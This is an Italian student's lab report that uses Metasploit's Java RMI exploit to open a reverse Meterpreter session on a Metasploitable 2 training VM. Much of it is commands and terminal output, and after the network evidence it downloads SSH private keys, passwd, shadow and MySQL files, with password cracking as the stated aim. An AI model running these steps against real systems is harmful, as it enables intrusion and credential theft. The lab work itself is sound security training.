

Traccia

La nostra macchina Metasploitable presenta un servizio vulnerabile sulla porta 1099 – Java RMI. Si richiede allo studente, ripercorrendo gli step visti nelle lezioni teoriche, di sfruttare la vulnerabilità con Metasploit al fine di ottenere una sessione di Meterpreter sulla macchina remota.

I requisiti dell'esercizio sono:

- La macchina attaccante KALI deve avere il seguente indirizzo IP: 192.168.11.111
- La macchina vittima Metasploitable deve avere il seguente indirizzo IP: 192.168.11.112
- Una volta ottenuta una sessione remota Meterpreter, lo studente deve raccogliere le seguenti evidenze sulla macchina remota:
  - configurazione di rete
  - informazioni sulla tabella di routing della macchina vittima
  - altro...

Come prima cosa modifico gli indirizzi ip delle due macchine, come richiesto dalla traccia.

```
kali@kali: ~  
File Actions Edit View Help  
zsh: corrupt history file /home/kali/.zsh_history  
(kali@kali)-[~]  
$ ifconfig  
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500  
    inet 192.168.11.111 netmask 255.255.255.0 broadcast 192.168.11.255  
    inet6 fe80::a00:27ff:fe21:b1d0 prefixlen 64 scopeid 0x20<link>  
    ether 08:00:27:21:b1:d0 txqueuelen 1000 (Ethernet)  
    RX packets 1 bytes 286 (286.0 B)  
    RX errors 0 dropped 0 overruns 0 frame 0  
    TX packets 16 bytes 2424 (2.3 KiB)  
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0  
  
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536  
    inet 127.0.0.1 netmask 255.0.0.0  
    inet6 ::1 prefixlen 128 scopeid 0x10<host>  
    loop txqueuelen 1000 (Local Loopback)  
    RX packets 4 bytes 240 (240.0 B)  
    RX errors 0 dropped 0 overruns 0 frame 0  
    TX packets 4 bytes 240 (240.0 B)  
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0  
  
(kali@kali)-[~]  
$
```

ESERCITAZIONE FINE MODULO 4  
BARRECA MONICA

```
Metasploitable 2 [In esecuzione] - Oracle VM VirtualBox
File  Macchina  Visualizza  Inserimento  Dispositivi  Aiuto

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
No mail.
msfadmin@metasploitable:~$ ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:13:4e:3a
          inet addr:192.168.11.112  Bcast:192.168.11.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fe13:4e3a/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:50 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:0 (0.0 B)  TX bytes:3920 (3.8 KB)
          Base address:0xd020 Memory:f0200000-f0220000

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:105 errors:0 dropped:0 overruns:0 frame:0
          TX packets:105 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:20665 (20.1 KB)  TX bytes:20665 (20.1 KB)

msfadmin@metasploitable:~$ _
```

Dopo procedo con uno scan NMAP e verifico l'effettiva presenza del servizio java-rmi che gira sulla porta 1099:

```
(kali@kali)-[~]
$ nmap -sV 192.168.11.112
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-02-22 19:31 EST
Nmap scan report for 192.168.11.112
Host is up (0.00037s latency).
Not shown: 977 closed tcp ports (conn-refused)
PORT      STATE SERVICE        VERSION
21/tcp    open  ftp            vsftpd 2.3.4
22/tcp    open  ssh            OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet         Linux telnetd
25/tcp    open  smtp           Postfix smtpd
53/tcp    open  domain         ISC BIND 9.4.2
80/tcp    open  http           Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind        2 (RPC #100000)
139/tcp   open  netbios-ssn    Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn    Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open  exec           netkit-rsh rshcd
513/tcp   open  login?         Netkit rshd
514/tcp   open  shell          Netkit rshd
1099/tcp  open  java-rmi       GNU Classpath grmiregistry
1524/tcp  open  bindshell      Metasploitable root shell
2049/tcp  open  nfs            2-4 (RPC #100003)
2121/tcp  open  ftp            ProFTPD 1.3.1
3306/tcp  open  mysql          MySQL 5.0.51a-3ubuntu5
5432/tcp  open  postgresql     PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc            VNC (protocol 3.3)
6000/tcp  open  X11            (access denied)
6667/tcp  open  irc            UnrealIRCd
8009/tcp  open  http           Apache Tomcat/Coyote JSP engine 1.1
8180/tcp  open  http           Apache Tomcat/Coyote JSP engine 1.1
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
```

**ESERCITAZIONE FINE MODULO 4**  
**BARRECA MONICA**

Quindi avvio una shell su Kali ed eseguo il comando msfconsole per poi fare una ricerca con search java-rmi

```
Metasploit Documentation: https://docs.metasploit.com/ (last updated: 2024-01-15)
msf6 > search java_rmi

Matching Modules
=====
#  Name                                Check  Description
-  -
0  auxiliary/gather/java_rmi_registry    No     Java RMI Registry Interfaces Enumeration
1  exploit/multi/misc/java_rmi_server    Yes    Java RMI Server Insecure Default Configuration Java Code Execution
2  auxiliary/scanner/misc/java_rmi_server No     Java RMI Server Insecure Endpoint Code Execution Scanner
3  exploit/multi/browser/java_rmi_connection_impl 2010-03-31 Java RMIConnectionImpl Deserialization Privilege Escalation

Interact with a module by name or index. For example info 3, use 3 or use exploit/multi/browser/java_rmi_connection_impl
```

Per utilizzare l'exploit che ci interessa uso il comando use 1. Di default assegna il payload java/meterpreter/reverse\_tcp che ci permette di ottenere una shell potenziata. Quindi proseguo con show options che mi permette di vedere i parametri obbligatori e non, utilizzo poi set RHOSTS 192.168.11.112 per configurare correttamente l'IP della macchina target (Meyasploitable). Infine faccio exploit per tentare di ottenere la sessione meterpreter.

## ESERCITAZIONE FINE MODULO 4

### BARRECA MONICA

```
msf6 > use 1
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf6 exploit(multi/misc/java_rmi_server) > show options

Module options (exploit/multi/misc/java_rmi_server):



| Name      | Current Setting | Required | Description                                                                                                                                                                                         |
|-----------|-----------------|----------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| HTTPDELAY | 10              | yes      | Time that the HTTP Server will wait for the payload request                                                                                                                                         |
| RHOSTS    |                 | yes      | The target host(s), see <a href="https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html">https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html</a> |
| RPORT     | 1099            | yes      | The target port (TCP)                                                                                                                                                                               |
| SRVHOST   | 0.0.0.0         | yes      | The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.                                                               |
| SRVPORT   | 8080            | yes      | The local port to listen on.                                                                                                                                                                        |
| SSL       | false           | no       | Negotiate SSL for incoming connections                                                                                                                                                              |
| SSLCert   |                 | no       | Path to a custom SSL certificate (default is randomly generated)                                                                                                                                    |
| URIPATH   |                 | no       | The URI to use for this exploit (default is random)                                                                                                                                                 |



Payload options (java/meterpreter/reverse_tcp):



| Name  | Current Setting | Required | Description                                        |
|-------|-----------------|----------|----------------------------------------------------|
| LHOST | 192.168.11.111  | yes      | The listen address (an interface may be specified) |
| LPORT | 4444            | yes      | The listen port                                    |



Exploit target:



| Id | Name                   |
|----|------------------------|
| 0  | Generic (Java Payload) |



msf6 exploit(multi/misc/java_rmi_server) > set RHOSTS 192.168.11.112
RHOSTS => 192.168.11.112
msf6 exploit(multi/misc/java_rmi_server) > exploit

[*] Started reverse TCP handler on 192.168.11.111:4444
[*] 192.168.11.112:1099 - Using URL: http://192.168.11.111:8080/OhysE9qcF1hP34
[*] 192.168.11.112:1099 - Server started.
[*] 192.168.11.112:1099 - Sending RMI Header ...
[*] 192.168.11.112:1099 - Sending RMI Call ...
[*] 192.168.11.112:1099 - Replied to request for payload JAR
[*] Sending stage (57971 bytes) to 192.168.11.112
[*] Meterpreter session 1 opened (192.168.11.111:4444 -> 192.168.11.112:40209) at 2024-02-24 06:11:51 -0500

meterpreter > 
```

A questo punto riesco con comandi base come sysinfo, route, ifconfig a carpire informazioni di sistema, interfacce di rete e informazioni sulla tabella di routing.

```
meterpreter > sysinfo
Computer      : metasploitable
OS            : Linux 2.6.24-16-server (i386)
Architecture : x86
System Language : en_US
Meterpreter   : java/linux

meterpreter > route

IPv4 network routes



| Subnet         | Netmask       | Gateway | Metric | Interface |
|----------------|---------------|---------|--------|-----------|
| 127.0.0.1      | 255.0.0.0     | 0.0.0.0 |        |           |
| 192.168.11.112 | 255.255.255.0 | 0.0.0.0 |        |           |



IPv6 network routes



| Subnet                   | Netmask | Gateway | Metric | Interface |
|--------------------------|---------|---------|--------|-----------|
| ::1                      | ::      | ::      |        |           |
| fe80::a00:27ff:fe13:4e3a | ::      | ::      |        |           |


```



```
meterpreter > ifconfig

Interface 1
=====
Name       : lo - lo
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ::

Interface 2
=====
Name       : eth0 - eth0
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 192.168.11.112
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::a00:27ff:fe13:4e3a
IPv6 Netmask : ::
```

Poi lancio altri comandi come pwd per capire dove mi trovo ed ls per vedere file e directory presenti all'interno:

```
meterpreter > pwd
/
meterpreter > ls
Listing: /

Mode                Size      Type    Last modified          Name
-----
040666/rw-rw-rw-   4096    dir     2012-05-13 23:35:33 -0400  bin
040666/rw-rw-rw-   1024    dir     2012-05-13 23:36:28 -0400  boot
040666/rw-rw-rw-   4096    dir     2010-03-16 18:55:51 -0400  cdrom
040666/rw-rw-rw-  13540    dir     2024-02-25 14:30:25 -0500  dev
040666/rw-rw-rw-   4096    dir     2024-02-25 14:30:30 -0500  etc
040666/rw-rw-rw-   4096    dir     2010-04-16 02:16:02 -0400  home
040666/rw-rw-rw-   4096    dir     2010-03-16 18:57:40 -0400  initrd
100666/rw-rw-rw-  7929183  fil     2012-05-13 23:35:56 -0400  initrd.img
040666/rw-rw-rw-   4096    dir     2012-05-13 23:35:22 -0400  lib
040666/rw-rw-rw-  16384    dir     2010-03-16 18:55:15 -0400  lost+found
040666/rw-rw-rw-   4096    dir     2010-03-16 18:55:52 -0400  media
040666/rw-rw-rw-   4096    dir     2010-04-28 16:16:56 -0400  mnt
100666/rw-rw-rw-  49802    fil     2024-02-25 14:30:52 -0500  nohup.out
040666/rw-rw-rw-   4096    dir     2010-03-16 18:57:39 -0400  opt
040666/rw-rw-rw-    0      dir     2024-02-25 14:30:13 -0500  proc
040666/rw-rw-rw-   4096    dir     2024-02-25 14:30:52 -0500  root
040666/rw-rw-rw-   4096    dir     2012-05-13 21:54:53 -0400  sbin
040666/rw-rw-rw-   4096    dir     2010-03-16 18:57:38 -0400  srv
040666/rw-rw-rw-    0      dir     2024-02-25 14:30:14 -0500  sys
040666/rw-rw-rw-   4096    dir     2024-02-25 14:44:41 -0500  tmp
040666/rw-rw-rw-   4096    dir     2010-04-28 00:06:37 -0400  usr
040666/rw-rw-rw-   4096    dir     2010-03-17 10:08:23 -0400  var
100666/rw-rw-rw- 1987288  fil     2008-04-10 12:55:41 -0400  vmlinuz
```

#### ESERCITAZIONE FINE MODULO 4

BARRECA MONICA

Spostandomi poi all'interno di altre directory col comando `cd` cerco di trovare ulteriori informazioni che posso copiare col comando `download` in modo da poterle utilizzare anche in un secondo momento.

Ad esempio, cerco le chiavi ssh, che mi permetterebbero di impersonare la macchina target; nomi utenti e gruppi presenti nel sistema; il file delle password e il file shadow, con i quali potrei tentare un password cracking col tool John the Ripper; il file services che mi permette di vedere quali servizi sono presenti sulla macchina target e su quali porte sono attivi; eventuali database.

```
meterpreter > cd .ssh
meterpreter > ls
Listing: /home/msfadmin/.ssh

Mode                Size  Type      Last modified          Name
----                -
100666/rw-rw-rw-   609   fil       2010-05-07 14:38:35 -0400  authorized_keys
100666/rw-rw-rw-  1675   fil       2010-05-17 21:43:18 -0400  id_rsa
100666/rw-rw-rw-   405   fil       2010-05-17 21:43:18 -0400  id_rsa.pub

meterpreter > cd ..
meterpreter > download .ssh
[*] downloading: .ssh/authorized_keys → /home/kali/.ssh/authorized_keys
[*] Completed   : .ssh/authorized_keys → /home/kali/.ssh/authorized_keys
[*] downloading: .ssh/id_rsa → /home/kali/.ssh/id_rsa
[*] Completed   : .ssh/id_rsa → /home/kali/.ssh/id_rsa
[*] downloading: .ssh/id_rsa.pub → /home/kali/.ssh/id_rsa.pub
[*] Completed   : .ssh/id_rsa.pub → /home/kali/.ssh/id_rsa.pub
```

```
meterpreter > download sudoers group passwd shadow services home/kali/Downloadmeta2
[*] Downloading: sudoers → /home/kali/home/kali/Downloadmeta2/sudoers
[*] Skipped     : sudoers → /home/kali/home/kali/Downloadmeta2/sudoers
[*] Downloading: group → /home/kali/home/kali/Downloadmeta2/group
[*] Skipped     : group → /home/kali/home/kali/Downloadmeta2/group
[*] Downloading: passwd → /home/kali/home/kali/Downloadmeta2/passwd
[*] Skipped     : passwd → /home/kali/home/kali/Downloadmeta2/passwd
[*] Downloading: shadow → /home/kali/home/kali/Downloadmeta2/shadow
[*] Skipped     : shadow → /home/kali/home/kali/Downloadmeta2/shadow
[*] Downloading: services → /home/kali/home/kali/Downloadmeta2/services
[*] Skipped     : services → /home/kali/home/kali/Downloadmeta2/services
meterpreter > █
```

ESERCITAZIONE FINE MODULO 4  
BARRECA MONICA

```
meterpreter > download mysql home/kali/Downloadmeta2
[*] downloading: mysql/columns_priv.MYD → /home/kali/home/kali/Downloadmeta2/columns_priv.MYD
[*] Completed : mysql/columns_priv.MYD → /home/kali/home/kali/Downloadmeta2/columns_priv.MYD
[*] downloading: mysql/tables_priv.MYI → /home/kali/home/kali/Downloadmeta2/tables_priv.MYI
[*] Completed : mysql/tables_priv.MYI → /home/kali/home/kali/Downloadmeta2/tables_priv.MYI
[*] downloading: mysql/db.frm → /home/kali/home/kali/Downloadmeta2/db.frm
[*] Completed : mysql/db.frm → /home/kali/home/kali/Downloadmeta2/db.frm
[*] downloading: mysql/user.MYD → /home/kali/home/kali/Downloadmeta2/user.MYD
[*] Completed : mysql/user.MYD → /home/kali/home/kali/Downloadmeta2/user.MYD
[*] downloading: mysql/help_relation.MYD → /home/kali/home/kali/Downloadmeta2/help_relation.MYD
[*] Completed : mysql/help_relation.MYD → /home/kali/home/kali/Downloadmeta2/help_relation.MYD
[*] downloading: mysql/time_zone.MYI → /home/kali/home/kali/Downloadmeta2/time_zone.MYI
[*] Completed : mysql/time_zone.MYI → /home/kali/home/kali/Downloadmeta2/time_zone.MYI
[*] downloading: mysql/columns_priv.MYI → /home/kali/home/kali/Downloadmeta2/columns_priv.MYI
[*] Completed : mysql/columns_priv.MYI → /home/kali/home/kali/Downloadmeta2/columns_priv.MYI
[*] downloading: mysql/help_relation.MYI → /home/kali/home/kali/Downloadmeta2/help_relation.MYI
[*] Completed : mysql/help_relation.MYI → /home/kali/home/kali/Downloadmeta2/help_relation.MYI
[*] downloading: mysql/user.MYI → /home/kali/home/kali/Downloadmeta2/user.MYI
[*] Completed : mysql/user.MYI → /home/kali/home/kali/Downloadmeta2/user.MYI
[*] downloading: mysql/time_zone_transition.MYD → /home/kali/home/kali/Downloadmeta2/time_zone_transition.MYD
[*] Completed : mysql/time_zone_transition.MYD → /home/kali/home/kali/Downloadmeta2/time_zone_transition.MYD
[*] downloading: mysql/time_zone_leap_second.MYD → /home/kali/home/kali/Downloadmeta2/time_zone_leap_second.MYD
[*] Completed : mysql/time_zone_leap_second.MYD → /home/kali/home/kali/Downloadmeta2/time_zone_leap_second.MYD
[*] downloading: mysql/time_zone_transition_type.MYI → /home/kali/home/kali/Downloadmeta2/time_zone_transition_type.MYI
[*] Completed : mysql/time_zone_transition_type.MYI → /home/kali/home/kali/Downloadmeta2/time_zone_transition_type.MYI
[*] downloading: mysql/db.MYI → /home/kali/home/kali/Downloadmeta2/db.MYI
[*] Completed : mysql/db.MYI → /home/kali/home/kali/Downloadmeta2/db.MYI
[*] downloading: mysql/help_topic.frm → /home/kali/home/kali/Downloadmeta2/help_topic.frm
[*] Completed : mysql/help_topic.frm → /home/kali/home/kali/Downloadmeta2/help_topic.frm
```

